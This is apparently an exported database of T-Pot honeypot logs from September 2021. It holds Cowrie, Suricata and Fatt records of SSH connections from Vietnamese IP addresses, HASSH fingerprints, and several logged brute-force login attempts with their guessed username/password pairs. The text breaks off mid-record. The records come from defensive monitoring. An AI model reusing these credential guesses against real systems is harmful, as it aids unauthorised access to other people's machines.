22642	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:19.930298+03	2021-09-20 14:15:06.475472+03	{"_id": "igbjAnwBvYTbRNuEjwne", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3f8180470eb2", "@version": "1", "duration": 2.4398064613342285, "timestamp": "2021-09-20T11:07:19.930298Z", "@timestamp": "2021-09-20T11:07:19.930Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22643	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:19.969479+03	2021-09-20 14:15:06.477499+03	{"_id": "iwbjAnwBvYTbRNuEjwne", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [support/1qaz2wsx] failed", "session": "a46ea9b73856", "@version": "1", "password": "1qaz2wsx", "username": "support", "timestamp": "2021-09-20T11:07:19.969479Z", "@timestamp": "2021-09-20T11:07:19.969Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22644	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:19.98758+03	2021-09-20 14:15:06.478472+03	{"_id": "jAbjAnwBvYTbRNuEjwne", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [pierre/pierre] failed", "session": "3017dad45879", "@version": "1", "password": "pierre", "username": "pierre", "timestamp": "2021-09-20T11:07:19.987580Z", "@timestamp": "2021-09-20T11:07:19.987Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22645	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:20.911789+03	2021-09-20 14:15:06.47947+03	{"_id": "ygbjAnwBvYTbRNuEkglS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 121160681939962, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36148, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.911789Z", "@timestamp": "2021-09-20T11:07:20.911Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22646	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:20.333267+03	2021-09-20 14:15:06.48047+03	{"_id": "xwbjAnwBvYTbRNuEkglS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1946184627772605, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57778, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.333267Z", "@timestamp": "2021-09-20T11:07:20.333Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22647	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:20.682362+03	2021-09-20 14:15:06.48147+03	{"_id": "zwbjAnwBvYTbRNuEkwnF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57314, "timestamp": "2021-09-20T11:07:20.682362", "@timestamp": "2021-09-20T11:07:20.682Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22648	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:19.965134+03	2021-09-20 14:15:06.483471+03	{"_id": "2gbjAnwBvYTbRNuEkwnL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60628, "dest_port": 22, "timestamp": "2021-09-20T11:07:19.965134", "@timestamp": "2021-09-20T11:07:19.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22649	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:20.386551+03	2021-09-20 14:15:06.48447+03	{"_id": "2wbjAnwBvYTbRNuEkwnL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46736, "timestamp": "2021-09-20T11:07:20.386551", "@timestamp": "2021-09-20T11:07:20.386Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22650	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:20.631078+03	2021-09-20 14:15:06.485471+03	{"_id": "3wbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:36148 (192.168.176.2:22) [session: c3830fb13224]", "session": "c3830fb13224", "@version": "1", "protocol": "ssh", "src_port": 36148, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.631078Z", "@timestamp": "2021-09-20T11:07:20.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22651	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:20.677621+03	2021-09-20 14:15:06.4875+03	{"_id": "4AbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:57314 (192.168.176.2:22) [session: 1212aec356af]", "session": "1212aec356af", "@version": "1", "protocol": "ssh", "src_port": 57314, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.677621Z", "@timestamp": "2021-09-20T11:07:20.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22652	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:20.268749+03	2021-09-20 14:15:06.488501+03	{"_id": "3QbjAnwBvYTbRNuEkwnL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [fttrans/kliondumph] failed", "session": "29caf887c4ba", "@version": "1", "password": "kliondumph", "username": "fttrans", "timestamp": "2021-09-20T11:07:20.268749Z", "@timestamp": "2021-09-20T11:07:20.268Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22653	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:21.125271+03	2021-09-20 14:15:06.4895+03	{"_id": "4gbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:57674 (192.168.176.2:22) [session: 034a2a98d6d7]", "session": "034a2a98d6d7", "@version": "1", "protocol": "ssh", "src_port": 57674, "dest_port": 22, "timestamp": "2021-09-20T11:07:21.125271Z", "@timestamp": "2021-09-20T11:07:21.125Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22654	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:20.333424+03	2021-09-20 14:15:06.49047+03	{"_id": "5gbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57778, "timestamp": "2021-09-20T11:07:20.333424", "@timestamp": "2021-09-20T11:07:20.333Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22655	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:20.627467+03	2021-09-20 14:15:06.49247+03	{"_id": "5wbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35600, "timestamp": "2021-09-20T11:07:20.627467", "@timestamp": "2021-09-20T11:07:20.627Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22656	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:20.9539+03	2021-09-20 14:15:06.49347+03	{"_id": "6AbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 